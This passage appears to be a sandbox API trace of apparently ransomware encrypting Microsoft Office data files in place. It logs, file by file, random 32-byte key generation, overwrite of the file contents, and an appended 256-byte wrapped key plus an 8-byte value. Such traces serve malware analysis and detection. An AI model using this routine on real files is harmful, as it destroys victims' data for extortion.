lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.906] CloseHandle (hObject=0x2220) returned 1 [0212.915] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df7c0 | out: pbBuffer=0x30df7c0) returned 1 [0212.915] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69b0 | out: pbBuffer=0x30f69b0) returned 1 [0212.915] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0212.916] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x36b17, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x36b17, lpOverlapped=0x0) returned 1 [0212.932] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-224023, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.932] WriteFile (in: hFile=0x2220, lpBuffer=0x36e7b40*, nNumberOfBytesToWrite=0x36b17, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36e7b40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x36b17, lpOverlapped=0x0) returned 1 [0212.937] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x36b17 [0212.937] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.937] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df7c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df7c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.938] WriteFile (in: hFile=0x2220, lpBuffer=0x30df7c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df7c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.938] WriteFile (in: hFile=0x2220, lpBuffer=0x30f69b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.938] CloseHandle (hObject=0x2220) returned 1 [0212.940] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0210 | out: pbBuffer=0x30e0210) returned 1 [0212.940] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6980 | out: pbBuffer=0x30f6980) returned 1 [0212.940] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.942] ReadFile (in: hFile=0x2220, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x3334d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x3334d, lpOverlapped=0x0) returned 1 [0212.958] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-209741, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.959] WriteFile (in: hFile=0x2220, lpBuffer=0x36b1020*, nNumberOfBytesToWrite=0x3334d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3334d, lpOverlapped=0x0) returned 1 [0212.959] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3334d [0212.960] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.960] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.960] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0210*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0210*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.960] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.960] CloseHandle (hObject=0x2220) returned 1 [0212.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0840 | out: pbBuffer=0x30e0840) returned 1 [0212.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0212.962] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0212.967] ReadFile (in: hFile=0x2220, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0x153aac, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2e1f9bc*=0x153aac, lpOverlapped=0x0) returned 1 [0213.035] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-1391276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.035] WriteFile (in: hFile=0x2220, lpBuffer=0x3e99020*, nNumberOfBytesToWrite=0x153aac, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3e99020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x153aac, lpOverlapped=0x0) returned 1 [0213.053] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x153aac [0213.053] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.053] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0840*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0840*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.053] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0840*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0840*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.054] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.054] CloseHandle (hObject=0x2220) returned 1 [0213.056] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0b58 | out: pbBuffer=0x30e0b58) returned 1 [0213.056] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a80 | out: pbBuffer=0x30f6a80) returned 1 [0213.056] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0213.058] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x5b8fd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x5b8fd, lpOverlapped=0x0) returned 1 [0213.090] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-375037, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.090] WriteFile (in: hFile=0x2220, lpBuffer=0x370c928*, nNumberOfBytesToWrite=0x5b8fd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x370c928*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5b8fd, lpOverlapped=0x0) returned 1 [0213.096] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5b8fd [0213.096] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.096] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0b58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0b58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.096] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0b58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0b58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.097] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.097] CloseHandle (hObject=0x2220) returned 1 [0213.099] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0000 | out: pbBuffer=0x30e0000) returned 1 [0213.099] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a00 | out: pbBuffer=0x30f6a00) returned 1 [0213.099] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0213.100] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x4cf4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x4cf4, lpOverlapped=0x0) returned 1 [0213.117] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-19700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.118] WriteFile (in: hFile=0x2220, lpBuffer=0x30e8d78*, nNumberOfBytesToWrite=0x4cf4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8d78*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4cf4, lpOverlapped=0x0) returned 1 [0213.118] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4cf4 [0213.118] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.118] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.119] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.119] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.120] CloseHandle (hObject=0x2220) returned 1 [0213.122] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df4a8 | out: pbBuffer=0x30df4a8) returned 1 [0213.122] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a00 | out: pbBuffer=0x30f6a00) returned 1 [0213.122] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0213.122] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x42ae, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x42ae, lpOverlapped=0x0) returned 1 [0213.132] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-17070, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.132] WriteFile (in: hFile=0x2220, lpBuffer=0x30e8330*, nNumberOfBytesToWrite=0x42ae, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8330*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42ae, lpOverlapped=0x0) returned 1 [0213.133] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42ae [0213.133] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.133] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df4a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df4a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.133] WriteFile (in: hFile=0x2220, lpBuffer=0x30df4a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df4a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.134] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.134] CloseHandle (hObject=0x2220) returned 1 [0213.157] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0210 | out: pbBuffer=0x30e0210) returned 1 [0213.157] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0213.157] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0213.161] ReadFile (in: hFile=0x2220, lpBuffer=0x3d2a020, nNumberOfBytesToRead=0xff0cc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d2a020*, lpNumberOfBytesRead=0x2e1f9bc*=0xff0cc, lpOverlapped=0x0) returned 1 [0213.216] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-1044684, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.217] WriteFile (in: hFile=0x2220, lpBuffer=0x3e39020*, nNumberOfBytesToWrite=0xff0cc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3e39020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xff0cc, lpOverlapped=0x0) returned 1 [0213.227] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xff0cc [0213.227] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.227] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.227] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0210*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0210*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.228] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.228] CloseHandle (hObject=0x2220) returned 1 [0213.229] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0528 | out: pbBuffer=0x30e0528) returned 1 [0213.229] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6900 | out: pbBuffer=0x30f6900) returned 1 [0213.229] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0213.232] ReadFile (in: hFile=0x2220, lpBuffer=0x6f0020, nNumberOfBytesToRead=0xa06c0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f0020*, lpNumberOfBytesRead=0x2e1f9bc*=0xa06c0, lpOverlapped=0x0) returned 1 [0213.265] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-657088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.265] WriteFile (in: hFile=0x2220, lpBuffer=0x3d24020*, nNumberOfBytesToWrite=0xa06c0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d24020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa06c0, lpOverlapped=0x0) returned 1 [0213.272] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa06c0 [0213.272] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.272] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0528*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0528*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.272] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0528*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0528*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.272] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6900*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6900*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.272] CloseHandle (hObject=0x2220) returned 1 [0213.274] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df9d0 | out: pbBuffer=0x30df9d0) returned 1 [0213.274] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0213.274] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0213.279] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x2f36, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x2f36, lpOverlapped=0x0) returned 1 [0213.280] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-12086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.280] WriteFile (in: hFile=0x2220, lpBuffer=0x30e6fb8*, nNumberOfBytesToWrite=0x2f36, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6fb8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2f36, lpOverlapped=0x0) returned 1 [0213.281] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2f36 [0213.281] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.281] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df9d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df9d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.281] WriteFile (in: hFile=0x2220, lpBuffer=0x30df9d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df9d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.281] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.281] CloseHandle (hObject=0x2220) returned 1 [0213.283] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0c60 | out: pbBuffer=0x30e0c60) returned 1 [0213.283] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0213.283] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0213.283] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x2740, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x2740, lpOverlapped=0x0) returned 1 [0213.284] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-10048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.284] WriteFile (in: hFile=0x2220, lpBuffer=0x30e67c0*, nNumberOfBytesToWrite=0x2740, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e67c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2740, lpOverlapped=0x0) returned 1 [0213.285] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2740 [0213.285] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.285] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0c60*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0c60*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.285] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0c60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0c60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.285] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.285] CloseHandle (hObject=0x2220) returned 1 [0213.287] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfdf0 | out: pbBuffer=0x30dfdf0) returned 1 [0213.287] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6910 | out: pbBuffer=0x30f6910) returned 1 [0213.287] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0213.289] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x6af1e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x6af1e, lpOverlapped=0x0) returned 1 [0213.307] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-438046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.308] WriteFile (in: hFile=0x2220, lpBuffer=0x371bf48*, nNumberOfBytesToWrite=0x6af1e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x371bf48*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6af1e, lpOverlapped=0x0) returned 1 [0213.313] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6af1e [0213.314] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.314] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfdf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfdf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.314] WriteFile (in: hFile=0x2220, lpBuffer=0x30dfdf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 